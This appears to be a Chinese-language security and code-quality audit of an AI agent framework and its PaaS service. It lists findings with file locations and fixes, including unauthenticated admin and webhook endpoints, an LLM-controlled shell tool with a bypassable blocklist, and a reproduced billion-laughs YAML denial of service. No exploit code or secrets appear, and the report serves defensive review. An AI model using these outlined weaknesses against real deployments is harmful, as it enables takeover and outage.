|
|
|
+- **文件:** `tests/test_fromconfig.py:29`
|
|
|
+- **证据:** `isinstance(term, (Lam, ConversationLam))` 加注释 "depending on provider config"。
|
|
|
+- **影响:** 同一 YAML 在不同环境下被编译成不同 term——非确定性编译。测试在掩盖问题,而不是 pin 住 provider。
|
|
|
+- **修复:** 在 test YAML 里 pin `provider: stub`;恰好断言一种 class。
|
|
|
+
|
|
|
+#### 81. `qaagent67lambda` `app.py` 把 Ollama client 默认到 vLLM 风格端点 `:8000` —— 端口错且绕过 config
|
|
|
+- **文件:** `agentexample/qaagent67lambda/scripts/app.py:140`
|
|
|
+- **证据:** 硬编码 `base_url='http://127.0.0.1:8000/v1'` 忽略 agent-config.yml 里整段 `model:` 块。8000 端口与 agentpaas 默认 uvicorn 端口冲突。
|
|
|
+- **影响:** 同一台机器跑 PaaS + QA demo → QA 把 chat completion POST 到 FastAPI control plane → 404。
|
|
|
+- **修复:** 从 `_cfg['model']` 读 provider / base_url;默认端口选不冲突的。
|
|
|
+
|
|
|
+---
|
|
|
+
|
|
|
+### 低 (15)
|
|
|
+
|
|
|
+#### 82. `_react_step` 里 tool_input 为不可序列化 dict 时出 NameError
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:1022`
|
|
|
+- **影响下调:** `tool_input` 来自 `json.loads`,只可能是 JSON 原生类型——`json.dumps` 不会在它上面失败。是潜在 code smell 不是可达 crash。
|
|
|
+- **修复:** 在 try 之前初始化 `tool_input_val = ''`(防御性)。
|
|
|
+
|
|
|
+#### 83. `react_engine` 吞掉 callback 异常
|
|
|
+*(见 medium #48 —— 有时被 impact 视角投 low,因为 `_step_adapter` 是 queue.put,本质不会抛)*
|
|
|
+
|
|
|
+#### 84. agent67 的 sys.path 改动硬编码了错误的 project root 名 + 父目录层数不一致
|
|
|
+- **文件:** `agentexample/agent67/run.py:30`
|
|
|
+- **证据:** `PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent # Paper08/`(repo 是 `lambdagentpaas/`)。`core/assistant.py:24` 用 4 个 `.parent`,`run.py` 用 3 个。
|
|
|
+- **影响:** 装饰性(路径今天算下来还是对的;lambdagent 是 pip-installed,sys.path trick 已是 dead code)。对未来重组很脆。
|
|
|
+
|
|
|
+#### 85. `_estimate_money` 模型子串匹配
|
|
|
+*(见 medium #59 —— 有时被投 low 因为 impact 是成本 telemetry 不是账单)*
|
|
|
+
|
|
|
+#### 86. Route 模糊匹配前缀碰撞
|
|
|
+*(见 medium #60 —— 精确匹配是常见路径时投 low)*
|
|
|
+
|
|
|
+#### 87. 文档例子教用户在 YAML config 里塞 `sk-...` 字面值
|
|
|
+- **文件:** `docs/from-config-spec.md:896`
|
|
|
+- **证据:** `api_key="sk-..."` 构造器字面例子。Provider 类已经能 fallback 到 env var。
|
|
|
+- **修复:** docs 里用 `api_key=os.environ["ANTHROPIC_API_KEY"]`。
|
|
|
+
|
|
|
+#### 88. 开发者 .env 里带真实第三方 API key,离提交只差一条 `.gitignore` 规则
|
|
|
+*(见 critical #5 —— 被 impact 视角投 low,因为从未被追踪 + 有冗余 gitignore)*
|
|
|
+
|
|
|
+#### 89. pyyaml 依赖完全无约束
|
|
|
+- **文件:** `lambdagent/pyproject.toml:30`
|
|
|
+- **证据:** `dependencies = ["pyyaml"]` 无版本。其他依赖都有 `>=` 下限。
|
|
|
+- **修复:** pin 上下限:`pyyaml>=6.0,<7.0`;提交一份 lockfile。
|
|
|
+
|
|
|
+#### 90. API endpoint 接受任意 YAML over HTTP —— billion-laughs DoS
|
|
|
+- **文件:** `agentpaas/api/v1/analyze.py:104`
|
|
|
+- **证据:** 在用户 body 上跑 `yaml.safe_load(config)`。实测复现:237 字节 YAML 在 3ms 内展开成 4.8M list 元素。叠加 unauthenticated `/analyze/*` 和缺 auth 时的 rate-limit bypass(medium #26 + #25)。单请求 worker OOM。
|
|
|
+- **修复:** ASGI body-size cap(≤256KB)+ alias 预检。
|
|
|
+
|
|
|
+#### 91. `extensions.py` 的 late `If` import 现在是 dead code(FIX-02 已把 truthy 检查 inline)
|
|
|
+*(与 arch 项 #69 合并)*
|
|
|
+
|
|
|
+#### 92. 顶层 `lambdagent/` package 是个 43 文件的扁平袋子
|
|
|
+- **文件:** `lambdagent/src/lambdagent/__init__.py:38`
|
|
|
+- **证据:** 包根有 43 个扁平 `.py` 文件;`tracing.py`(27KB)和 `core.py`(8KB)并排;`tool_gateway.py`(24KB)和 `primitives.py` 并排。真正的子包只有 `agentruntime/`、`fromconfig/`、`providers/`、`builtin_tools/`、`cli/`、`extractors/`、`skillpacks/`。
|
|
|
+- **影响:** code-hygiene / 贡献者 DX 问题,没有 runtime 症状。
|
|
|
+- **修复:** 重构为 `core/`、`protocols/`、`safety/`、`observe/`、`runtime/`。
|
|
|
+
|
|
|
+#### 93. GitHub Actions 被 pin 到可变大版本 tag
|
|
|
+- **文件:** `.github/workflows/ci.yml:19`
|
|
|
+- **证据:** `actions/checkout@v4`、`gitleaks/gitleaks-action@v2`、`actions/setup-python@v5`、`actions/setup-node@v4`。
|
|
|
+- **影响:** 通过 tag 劫持的供应链攻击(tj-actions/changed-files 2025 年 3 月先例)。workflow 跑时手握完整 GITHUB_TOKEN。OSS repo 上不算很尖锐——公开历史 exfil 无意义。
|
|
|
+- **修复:** 每个 `uses:` 都 pin SHA;给 actions 开 Dependabot。
|
|
|
+
|
|
|
+#### 94. README 导出数量漂移
|
|
|
+*(与 #70 合并)*
|
|
|
+
|
|
|
+#### 95. 上一版审计的 stub 声明已过期
|
|
|
+*(与 #79 合并)*
|
|
|
+
|
|
|
+#### 96. `test_compile_simple` 被削弱的断言
|
|
|
+*(与 #80 合并)*
|
|
|
+
|
|
|
+---
|
|
|
+
|
|
|
+## 按维度分组的发现
|
|
|
+
|
|
|
+| 维度 | 数量 | Top issue |
|
|
|
+|---|---|---|
|
|
|
+| sec-auth | 6 | `/setup/bootstrap` 无 auth 创建 admin tenant(critical) |
|
|
|
+| sec-injection | 4 | `shell_executor.py` LLM 控制的 shell + 可绕过 blocklist(critical) |
|
|
|
+| sec-secrets | 4 | travelagent `.env` 携带真实 SiliconFlow/Amap key(critical,gitignored) |
|
|
|
+| sec-supply-chain | 6 | `agent-lint-action` 静默 no-op fallback + typo-squat(high) |
|
|
|
+| correctness-agentpaas | 9 | `term.apply` 阻塞 async event loop(high);模块全局 shell CWD race(high) |
|
|
|
+| correctness-lambdagent | 6 | `async_executor` 共享 Context(high);compiler.py sub-agent caller 丢 ctx + 吞 cancel(high) |
|
|
|
+| correctness-webui | 5 | SSE stream 在导航时不取消 → 后端成本泄漏(high) |
|
|
|
+| correctness-examples | 5 | `qaagent67lambda` 硬编码 `/home/67/` 路径(high);共享 knowledge 目录上的 pickle.load(high) |
|
|
|
+| arch-monorepo | 6 | agentpaas pyproject 缺 lambdagent 依赖(critical);`where=[".."]` 打出空 wheel(high) |
|
|
|
+| arch-internals | 6 | 4 套并存的 beta-reduction 解释器(high);1654 行 compiler.py god module(high) |
|
|
|
+| tests-gaps | 6 | FastAPI route 零 HTTP 层 test(critical);authenticate() 无 test(high);instance_dir 未测(high) |
|
|
|
+| docs-accuracy | 8 | README Quick Start Loop/Memory kwargs 不存在(high);根 CONTRIBUTING.md 写 MIT(high) |
|
|
|
+| spec-vs-impl | 5 | YAML 支持 5 类型,docs 声称 11(high);`_compile_chain` 静默丢 `type:react`(high) |
|
|
|
+
|
|
|
+## 与上一版审计的对比 (`docs/PROJECT_AUDIT_2026Q2.md`)
|
|
|
+
|
|
|
+### 已改善
|
|
|
+- **DESIGN-01 / DESIGN-07 / DESIGN-08 在 memory 里标记为已修** —— `handlers.py` 里有 `PassthroughHandler` 基类;`infer_effect_for_term` 覆盖所有新构造子;`validate_cost` 已接入 CEKEngine。**注意:** DESIGN-08 的验证裹在裸 `except Exception: pass` 里(finding #49),所以这次 "修" 是粉饰——任何失败 validator 都静默 no-op。
|
|
|
+- **instance 机制已 ship** —— `agentpaas/engine/instance.py` 提供 `load_instance()`、`create_instance()`、`_deep_merge()`;DB schema 已迁移加上 `agent_template` + `instance_dir` 列;helper 级 test 覆盖了 `_deep_merge` 逻辑。(test gap 仍在:见 #36。)
|
|
|
+- **run-workspace 的 per-run 隔离能工作** —— `{agent_dir}/workspace/run_{YYYYMMDD_HHMMSS}/` 结构有 test 验证,虽然它们用 `time.sleep(1.1)` 偷工(#78)。
|
|
|
+- **新增了 cancellation 机制** —— `lambdagent/src/lambdagent/agentruntime/cancel.py` 是新(未提交)模块,提供 thread-local cancellation,被 agentpaas 消费。方向正确,但暴露了 host-API 缺口(#65)。
|
|
|
+- **Phase 1/2 P0/P1 工作扛得住** —— CEK 升级、graded cost、algebraic laws、cost vector 都在,按 memory 跑 175 个 test 通过。对抗式验证没在 kernel 本身找到回归。
|
|
|
+
|
|
|
+### 仍然存在 (Q2 issues 未消)
|
|
|
+- **BUG-01(Context.fork 浅拷贝)** —— 在 `core.py:105` 修了,但在 `async_executor.py:240-246` 复发(#8)。同一 bug 类型,不同 code path。
|
|
|
+- **BUG-06(trace 三路分叉)** —— 这版审计已确认。trace store 分裂的*结构*成因是 (a) 4 套并存 beta-reduction 解释器(#20)、(b) `agentruntime/` 引擎纠缠(#68)、(c) `compiler.py`(#21)和 `agentruntime/react_engine.py` 之间重复的 ReAct loop。`react_engine.py:94` 甚至有显式 `FIX-05` 注释说要把 trace 同时写到 `self.trace` 和 `ctx.trace`,那就是绕开方案。
|
|
|
+- **SEC-01(PBKDF2 定 salt)** —— 部分修复:新 key 用随机 salt,但 legacy 定 salt hash 只在 auth 成功时自动迁移,所以沉睡 key 永远是普通 SHA-256(#63)。API key 是 32 字符随机,实际风险低,但 "已修" 说法过头。
|
|
|
+- **SEC-04(API 层未强制 RBAC)** —— 已确认:`rollback_agent`(#14)静默绕过 RBAC 和 audit logging。其他 route 有这个 pattern 但不一致也未测。没有集成测试(#6),就会随意回归。
|
|
|
+- **Q2 审计自己的 "stale" 问题(#79)** —— Q2 文档还把 `theory.md` 描述成 71 字节的 stub,实际是 229 行。
|
|
|
+
|
|
|
+### Q2 之后新增
|
|
|
+- **PaaS 攻击面爆开。** `/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`、`/analyze/*`、`/providers/*`、`/jobs/{id}` —— 这些在 Q2 都不存在(或没被标记),六个全都有 auth / RBAC / scoping 问题。
|
|
|
+- **打包结构性损坏。** `agentpaas/pyproject.toml` 没声明 `lambdagent`(#4),`where=[".."]` 打出空 wheel(#18)。最近的 CI 修复(commit `874896e`)治标不治本。
|
|
|
+- **travelagent 的 secret 暴露。** `agentexample/travelagent67/.env` 带真实 key 是 `agentexample/` 的新代码。未提交但在磁盘上。
|
|
|
+- **webui 稳定性/UX bug。** `Chat.tsx` stream 泄漏(#15)、`Chat.tsx` 历史恢复 race(#55)、`AgentWorkspace.tsx` 文件预览 race(#56)、`KnowledgeDetail.tsx` wiki 页 race(#58)——都是最近 UI 工作引入的。
|
|
|
+- **spec 漂移。** 84 条发现里 7 条是文档 / spec-vs-impl 漂移(README Loop/Memory 例子坏掉、YAML schema 与 docs 不符、SPEC.md 上不存在的端点、根 CONTRIBUTING.md license 矛盾)。
|
|
|
+
|
|
|
+## 建议执行清单
|
|
|
+
|
|
|
+按 impact/effort 排前 10,降序:
|
|
|
+
|
|
|
+1. **修补三个无 auth 入口**(`/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`),所有 `/analyze/*` route 加 `Depends(get_tenant)`。**为什么:** 易触发的远程接管。**Effort:** S(约 1 天)。**Owner:** agentpaas。
|
|
|
+2. **在 vendor 侧 rotate `AMAP_MCP_KEY` + `SILICONFLOW_API_KEY`;把 `agentexample/travelagent67/.env` 替换为占位符;加 pre-commit gitleaks。** **为什么:** 已被审计报告引用,假设已泄漏。**Effort:** S。**Owner:** 维护者 / examples。
|
|
|
+3. **修 `agentpaas` 打包。** 在 `[project.dependencies]` 里加 `lambdagent`;切换到 src-layout(`agentpaas/src/agentpaas/`)。**为什么:** 这个包今天作为 wheel 无法构建。**Effort:** M。**Owner:** agentpaas。
|
|
|
+4. **加 FastAPI 集成测试,覆盖 auth、RBAC、tenant 隔离、KB 链接。** 用 `TestClient` + sqlite-in-memory。**为什么:** 3477 LOC 的 route handler 可以静默坏掉;多 tenant 承诺未被验证。**Effort:** M(约 1 周)。**Owner:** agentpaas / tests。
|
|
|
+5. **把 `agentexample/agent67/tools/shell_executor.py` 换成 allowlist + `shell=False` + sandbox。** 不用就删;不要 patch blocklist。**为什么:** ship 的示例里有 RCE primitive。**Effort:** S。**Owner:** examples。
|
|
|
+6. **修 agent-to-KB 的 tenant scope(#30)和 `rollback_agent` RBAC/audit(#14)。** **为什么:** 通过文档化 API 跨 tenant 泄漏数据 + RBAC bypass。**Effort:** 各 S。**Owner:** agentpaas。
|
|
|
+7. **修 README Quick Start Python DSL 例子(#37、#38、#71)。** 合并前端到端跑一遍。**为什么:** 第一印象。**Effort:** S。**Owner:** docs。
|
|
|
+8. **在 `async_executor._reduce_par/_reduce_pair` 里照抄 sync `AsyncPar.apply` 的 Context-fork 模式(#8)。** 与 Q2 BUG-01 同一 root cause。**Effort:** S。**Owner:** lambdagent runtime。
|
|
|
+9. **把 `compiler.py` 的 `_compile_react` 闭包重构成 `agentruntime/react_loop.py` 里的 class(#21),删掉 `react_engine.py` 里重复的 loop。** **为什么:** 解锁 BUG-06,让未来 ReAct 改动只改一个文件。**Effort:** L(约 2 周)。**Owner:** lambdagent compiler + runtime。
|
|
|
+10. **定义 `lambdagent.host` 公开 API(cancel、set_cwd 等),停止从 agentpaas 伸进 private internals(#65、#66)。** **为什么:** 跨包边界需要在更多 handler 加 inline import 之前先有合约。**Effort:** M。**Owner:** lambdagent + agentpaas。
|
|
|
+
|
|
|
+## 健康项
|
|
|
+
|
|
|
+- **lambdagent kernel 本身。** 84 条发现里没有一条命中核心代数 Lambda calculus、CEK 机器语义、cost vector、graded cost、algebraic laws、effect handler 或 Paper II Prop 30 证明。Phase 1/Phase 2 P0/P1 工作经得住审视。kernel 的 175 个 test 是真实覆盖。
|
|
|
+- **sync `multiagent.py` 的 Par/Pair/Handoff Context 处理。** `multiagent.py:681` 正确 fork context 并 merge trace —— bug 只在 async 兄弟里。写 sync 版的人写对了。
|
|
|
+- **KB 端点的 tenant scope。** `agentpaas/api/v1/knowledge.py` 一致地强制 `WHERE id=? AND tenant_id=?`(约 25 处)—— agent-link 时的跨 tenant 缺口(#30)是*异常值*,不是常态。最重要的地方 pattern 是对的。
|
|
|
+- **`tests/test_instance.py` 对 `_deep_merge` 的覆盖。** instance 机制的纯 Python helper 层测得不错——只是 DB 持久化路径缺失。
|
|
|
+- **CI 里的 gitleaks。** `.github/workflows/ci.yml:23` 在 PR 上跑 gitleaks,正因为这个 travelagent 的 `.env` key 才没被提交,尽管它躺在磁盘上。CI 在做它该做的;pre-commit 层只需要 mirror 一下。
|
|
|
+- **instance 机制的设计。** Agent 即 template、instance 即 data,配 `_deep_merge`、per-run workspace 带时间戳目录、永不删除——这是多 tenant LambdaRAG 的正确架构。test gap(#36)是实现问题不是设计问题。
|
|
|
+- **wiki 端点的 containment 检查。** `knowledge.py:1050` 正确强制 `str(full).startswith(str(wiki_path.resolve()))` —— 证明这套代码知道正确 pattern。(`add_files` 在 #27 只是忘了用。)
|
|
|
+- **Streaming SSE 基础设施。** `run_agent_stream` 正确卸到 daemon 线程(`agents.py:791`),不像 sync `/run` 那条线。形状好;只是 client 端缺 unmount cleanup。
|
|
|
+- **`lambdagent.cost_grade` 里的 cost vector 和 graded cost 机制。** 存在且产生正确值;`_estimate_money` 的子串 bug(#59)是另一个 `recursive_engine.py` helper 里的,不是 authoritative 路径。
|
|
|
+- **文档广度。** `docs/` 里有 `theory.md`、`constructs.md`、`from-config-spec.md`、`SPEC.md`、`api.md`、`cli-usage.md` 和设计笔记 —— spec-vs-impl 缺口正是因为 docs *的确*在尝试做到完整。漂移是维护问题,不是缺席问题。
|